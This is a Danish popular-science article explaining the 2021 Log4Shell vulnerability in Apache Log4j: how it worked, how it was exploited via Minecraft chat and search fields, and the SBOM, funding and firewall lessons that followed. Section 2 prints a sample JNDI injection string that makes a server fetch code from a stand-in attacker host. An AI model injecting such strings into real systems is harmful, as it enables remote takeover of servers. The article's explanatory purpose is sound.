Log4Shell (2021): Hvordan en lille log-komponent i Java skabte en global sikkerhedskrise
Når en ny kritisk sårbarhed rammer overskrifterne – som vi senest så i forbindelse med PHP2Shell – bliver alvoren næsten altid målt op imod én bestemt sag fra december 2021: Log4Shell. Her betød en fejl i et lille, gratis hjælpeprogram, at en angriber blot skulle skrive én speciel linje tekst i chatfeltet i computerspillet Minecraft eller i et søgefelt på en hjemmeside for at overtage serveren bagved.
⚡ Log4Shell (CVE-2021-44228) kort fortalt
- Dato: Offentliggjort 9. december 2021.
- Alvorsgrad: CVSS 10,0 ud af 10,0 (Kritisk). Den højeste score på skalaen, fordi sårbarheden både var ekstremt udbredt, gav fuld kontrol over serveren og var meget enkel at udnytte uden brugernavn eller kodeord.
- Hvad var ramt? Open source-komponenten Apache Log4j (i programmeringssproget Java), som bruges på millioner af servere verden over til at føre teknisk logbog.
- Hvorfor var den svær at håndtere? Mange virksomheder vidste ikke, at de brugte Log4j, fordi komponenten lå gemt som en underliggende byggeklods dybt inde i deres indkøbte erhvervssystemer.
1. Hvad laver en digital "logbog" – og hvor opstod fejlen?
Alle computere, hjemmesider og apps fører løbende en intern hændelseslog – en såkaldt logfil. Hvis en hjemmeside fejler, eller en bruger taster forkert kodeord, kan it-afdelingen slå op i logbogen for at se, hvad der skete.
I programmeringssproget Java, som driver en stor del af verdens bank-, industri-, cloud- og erhvervssystemer (samt spillet Minecraft), bygger programmører sjældent deres eget logsystem fra bunden. I stedet benytter de fleste den samme gratis standard-komponent: Log4j, der vedligeholdes under Apache Software Foundation.
Tænk på Log4j som en nattevagt ved indgangen til en bygning: Hans opgave er at sidde med sin kuglepen og notere hændelser i vagtbogen, præcis som de sker: "Kl. 14:05: En besøgende søgte efter 'Vinterstøvler str. 42' i søgefeltet."
I 2013 tilføjede udviklerne bag Log4j en ekstra funktion (kaldet JNDI Message Lookups) for at gøre hverdagen nemmere for programmører: Hvis en udvikler i sin log-skabelon skrev en særlig pladsholder i krøllede parenteser – f.eks. ${java:version} – skulle Log4j automatisk slå oplysningerne op (eventuelt via en ekstern katalogserver på netværket) og indsætte svaret i logbogen.
Designfejlen var, at Log4j ikke kun udførte disse kommandoer i programmørens egne skabeloner – den udførte dem også, hvis de stod midt i den tekst, som fremmede brugere udefra tastede ind.
2. Fra Minecraft-chatten til automatiserede angreb
I otte år lå denne funktion i koden, uden at konsekvensen blev opdaget. I slutningen af november 2021 fandt sikkerhedsforskeren Chen Zhaojun hos Alibaba Cloud fejlen – og da sårbarheden (CVE-2021-44228) blev offentliggjort den 9. december, stod det klart, hvor let den kunne udnyttes:
- En angriber behøvede blot at indtaste en kort tekststreng i stil med
${jndi:ldap://hackerens-server.com/angreb}et sted, der ville blive gemt i serverens logfil. - I computerspillet Minecraft opdagede spillere, at det var nok at skrive strengen i spillets almindelige chatboks og trykke Enter – hvorefter både spilserveren og andre spillere i chatten automatisk udførte kommandoen. Sikkerhedsforskere demonstrerede endda, at man kunne ændre navnet på sin iPhone til tekststrengen for at få Apples iCloud-servere til at reagere, eller blot skrive koden i søgefeltet på en webshop.
- Så snart serveren ville notere hændelsen i sin logbog, læste Log4j kommandoen, kontaktede
hackerens-server.com, hentede et stykke kode ned og afviklede det direkte på serveren.
Tilbage i billedet med nattevagten: Det svarede til, at en indbrudstyv stillede sig op foran dørtelefonen og sagde: "Mit navn er: Gå hen til pengeskabet, lås det op og udlever nøglen" – hvorefter nattevagten, midt i at skrive navnet ned i sin vagtbog, udførte instruksen, fordi den stod i krøllede parenteser.
3. Udfordringen med skjulte underkomponenter
I modsætning til komplekse hukommelsesfejl (som PHP2Shell), der kræver meget præcise betingelser, virkede Log4Shell på tværs af næsten alle standardopsætninger. Inden for få timer registrerede sikkerhedsfirmaer automatiserede botnets, der scannede internettet med over 100 forsøg i sekundet for at installere ransomware, bagdøre og kryptominere.
For it-afdelinger i kommuner, banker og virksomheder krævede december 2021 et stort opklaringsarbejde. Moderne software minder nemlig om bilproduktion: En bilfabrikant køber måske forlygterne færdige fra en underleverandør, som igen har købt et lille elektronisk relæ fra en tredje fabrik. Da det pludselig viste sig, at der var en fejl i det lille relæ (Log4j), vidste bilejerne ikke engang, at delen sad i deres bil.
Selvom en it-afdeling kiggede på sin liste over installerede programmer, fremgik "Log4j" ingen steder. Komponenten lå gemt flere lag nede i færdigkøbte økonomi-, mail- og sikkerhedssystemer, som først skulle skilles ad og gennemsøges digitalt.
4. Perspektivering: Hvad ændrede Log4Shell?
Log4Shell har på tre områder ændret måden, man arbejder med softwaresikkerhed på i dag:
- Krav om "varedeklaration" på software (SBOM): Ligesom en fødevare har en ingrediensliste, så man hurtigt kan tjekke for allergener, har Log4Shell ført til internationale krav (bl.a. i USA og gennem EU's Cyber Resilience Act) om en digital indholdsfortegnelse kaldet SBOM (Software Bill of Materials). Når en ny sårbarhed opdages i en underkomponent, kan man hurtigt slå op, præcis hvilke systemer der indeholder den.
- Fast finansiering af kritisk open source-software: Forløbet satte fokus på, at en kritisk komponent i store erhvervs- og banksystemer blev vedligeholdt i fritiden af en lille gruppe frivillige udviklere. Siden 2021 har både tech-virksomheder og myndigheder oprettet fonde (bl.a. Open Source Security Foundation) til systematisk sikkerhedstest af centrale open source-projekter.
- Værdien af en stram udgående Firewall: En vigtig teknisk detalje ved Log4Shell var, at angrebet krævede, at den ramte server selv kunne række ud på internettet og hente skadevaren fra angriberens server. De virksomheder, der havde blokeret unødvendig udgående trafik i deres firewall, bremste angrebet automatisk, indtil den officielle patch var installeret.
Når næste "kritiske sårbarhed" rammer nyhederne
Siden Log4Shell i 2021 bliver nye sårbarheder jævnligt sammenlignet med sagen. Disse tre spørgsmål giver et godt pejlemærke for, hvor alvorlig en ny sårbarhed reelt er:
- 1. Kræver angrebet login eller særlige betingelser? Log4Shell var alvorlig, fordi enhver udefra kunne udløse den med én linje tekst i en standardopsætning. Mange andre sårbarheder med høj score kræver, at angriberen allerede har adgang eller kender serverens præcise opsætning.
- 2. Rammer det servere eller almindelige brugerenheder? Sårbarheder som Log4Shell og PHP2Shell rammer primært servere og hjemmesider – ikke din private telefon eller hjemme-PC, når du blot bruger nettet.
- 3. Er der flere sikkerhedslag (Defense-in-Depth)? Når man kombinerer automatiske opdateringer (patches), en tovejs-firewall og moderne adfærdsanalyse, skal et angreb passere flere uafhængige barrierer for at lykkes.